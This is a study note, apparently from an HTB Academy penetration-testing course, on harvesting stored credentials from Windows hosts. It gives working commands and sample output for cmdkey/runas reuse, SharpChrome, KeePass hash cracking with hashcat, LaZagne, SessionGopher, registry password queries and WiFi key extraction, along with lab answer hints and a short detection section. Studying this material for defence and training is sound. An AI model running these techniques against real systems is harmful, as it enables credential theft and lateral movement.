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Further Credential Theft

🎯 Overview

Advanced credential theft techniques go beyond basic file searches to extract stored credentials from browsers, password managers, registry storage, saved RDP sessions, and wireless profiles. These methods target credentials stored by applications, Windows features, and user convenience configurations.

💾 Cmdkey Saved Credentials

Listing Stored Credentials

# List saved credentials for Terminal Services/RDP
cmdkey /list

# Example output:
Target: LegacyGeneric:target=TERMSRV/SQL01
Type: Generic
User: inlanefreight\bob

Exploiting Saved Credentials

# Use saved credentials with runas
runas /savecred /user:inlanefreight\bob "COMMAND HERE"

# RDP connections will automatically use saved credentials
# Target system: SQL01 with saved bob credentials

🌐 Browser Credentials

Chrome Credential Extraction

# Use SharpChrome to extract saved passwords
.\SharpChrome.exe logins /unprotect

# Example output:
--- Chrome Credential ---
file_path: C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Login Data
signon_realm: https://vc01.inlanefreight.local/
username: bob@inlanefreight.local
password: Welcome1

Detection Considerations

# Browser credential extraction generates events:
- Event ID 4983: Process creation
- Event ID 4688: Process execution
- Event ID 16385: Chrome-specific events

🔐 Password Managers

KeePass Database Cracking

# Extract hash from .kdbx file
python2.7 keepass2john.py ILFREIGHT_Help_Desk.kdbx

# Example hash output:
ILFREIGHT_Help_Desk:$keepass$*2*60000*222*f49632ef7dae20e5a670bdec2365d5820ca1718877889f44e2c4c202c62f5fd5*...

# Crack with Hashcat (mode 13400)
hashcat -m 13400 keepass_hash /opt/useful/seclists/Passwords/Leaked-Databases/rockyou.txt

# Example result:
$keepass$*2*60000*222*...:panther1

Password Manager Targeting

# Common password manager files:
*.kdbx          # KeePass databases
*.1pif          # 1Password exports
*.psafe3        # Password Safe
*.bks           # Various backup files

📧 Email Credential Mining

MailSniper for Exchange

# Search Exchange mailboxes for credentials
# Target terms: "pass", "creds", "credentials", "password"
# Requires domain user context with Exchange access

🛠️ LaZagne - Automated Extraction

Comprehensive Credential Harvesting

# Run all LaZagne modules
.\lazagne.exe all

# Example output:
########## User: jordan ##########

------------------- Winscp passwords -----------------
[+] Password found !!!
URL: transfer.inlanefreight.local
Login: root
Password: Summer2020!
Port: 22

------------------- Credman passwords -----------------
[+] Password found !!!
URL: dev01.dev.inlanefreight.local
Login: jordan_adm
Password: ! Q A Z z a q 1

LaZagne Module Categories

# Available modules:
chats          # Chat applications
mails          # Email clients
browsers       # Web browsers
sysadmin       # System admin tools
databases      # Database clients
windows        # Windows-specific storage
wifi           # Wireless profiles
memory         # Memory dumps

🔧 SessionGopher

Remote Access Tool Credentials

# Extract PuTTY, WinSCP, FileZilla, RDP credentials
Import-Module .\SessionGopher.ps1
Invoke-SessionGopher -Target WINLPE-SRV01

# Example output:
WinSCP Sessions
Source   : WINLPE-SRV01\htb-student
Session  : Default%20Settings

PuTTY Sessions
Source   : WINLPE-SRV01\htb-student
Session  : nix03
Hostname : nix03.inlanefreight.local

SuperPuTTY Sessions
Source        : WINLPE-SRV01\htb-student
SessionId     : NIX03
Host          : nix03.inlanefreight.local
Username      : srvadmin
Port          : 22

🗝️ Registry Credential Storage

Windows AutoLogon

# Check AutoLogon configuration
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

# Key values to check:
AutoAdminLogon     # 1 = enabled
DefaultUserName    # Username for autologon
DefaultPassword    # Cleartext password

# Example output:
AutoAdminLogon    REG_SZ    1
DefaultUserName   REG_SZ    htb-student
DefaultPassword   REG_SZ    HTB_@cademy_stdnt!

PuTTY Proxy Credentials

# Enumerate PuTTY sessions
reg query HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions

# Check specific session for proxy credentials
reg query "HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions\kali%20ssh"

# Look for proxy configuration:
ProxyMethod       # 5 = HTTP proxy with credentials
ProxyHost         # Proxy server
ProxyUsername     # Proxy username
ProxyPassword     # Cleartext proxy password

# Example:
ProxyUsername    REG_SZ    administrator
ProxyPassword    REG_SZ    1_4m_th3_@cademy_4dm1n!

📡 WiFi Password Extraction

Wireless Profile Enumeration

# List saved wireless networks
netsh wlan show profile

# Example output:
Profiles on interface Wi-Fi:
User profiles
-------------
    All User Profile     : Smith Cabin
    All User Profile     : ilfreight_corp

Wireless Password Retrieval

# Extract WiFi password
netsh wlan show profile ilfreight_corp key=clear

# Key information in output:
Security settings
-----------------
    Authentication         : WPA2-Personal
    Cipher                 : CCMP
    Security key           : Present
    Key Content            : ILFREIGHTWIFI-CORP123908!

🎯 HTB Academy Lab Solutions

Lab Environment Overview

  • Various RDP credentials: jordan:HTB_@cademy_j0rdan!, htb-student:HTB_@cademy_stdnt!
  • Multiple objectives: SQL sa password, RDP credentials, vCenter password, FTP password

Lab 1: SQL sa Password (as jordan)

# Objective: Retrieve sa password for SQL01.inlanefreight.local
# Methods: LaZagne, SessionGopher, registry search, browser credentials
# Check saved credentials and password managers

Lab 2: RDP User Discovery (as htb-student)

# Objective: Find user with stored RDP credentials for WEB01
# Method: cmdkey /list, SessionGopher, registry enumeration
cmdkey /list
# Look for TERMSRV/WEB01 entries

Lab 3: vCenter Password (as htb-student)

# Objective: Find password for https://vc01.inlanefreight.local/ui/login
# Method: SharpChrome browser credential extraction
.\SharpChrome.exe logins /unprotect
# Look for vc01.inlanefreight.local entries

Lab 4: FTP Password (as htb-student)

# Objective: Find password for ftp.ilfreight.local
# Methods: LaZagne all modules, SessionGopher, browser extraction
.\lazagne.exe all
# Check WinSCP, FileZilla, browser saved passwords

🔄 Advanced Techniques

Comprehensive Enumeration Strategy

# 1. Automated extraction
.\lazagne.exe all

# 2. Session-specific tools
Invoke-SessionGopher -Target localhost

# 3. Browser credentials
.\SharpChrome.exe logins /unprotect

# 4. Registry searches
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

# 5. Saved credentials
cmdkey /list

# 6. WiFi profiles
netsh wlan show profile

Manual Registry Hunting

# Additional registry locations:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions
HKEY_CURRENT_USER\Software\ORL\WinVNC3\Password
HKEY_LOCAL_MACHINE\SYSTEM\Current001\Services\SNMP

⚠️ Detection & Defense

Detection Indicators

# Monitor for:
- Browser database access patterns
- Registry queries for credential storage locations
- KeePass database file access
- SessionGopher PowerShell execution
- LaZagne process execution
- Unusual credential manager access

Defensive Measures

# Security practices:
- Disable AutoLogon or use encrypted storage
- Regular password manager audits
- Browser security policies
- Monitor credential extraction tools
- Network segregation for admin tools
- Least privilege for saved credentials

💡 Key Takeaways

  1. Multiple credential storage mechanisms exist beyond files
  2. Browser credentials are easily extractable with tools
  3. Password managers can be cracked if master passwords are weak
  4. Registry storage often contains cleartext credentials
  5. Automated tools like LaZagne provide comprehensive extraction
  6. WiFi passwords can enable lateral network access

Further credential theft techniques exploit various Windows credential storage mechanisms, providing multiple vectors for privilege escalation and lateral movement.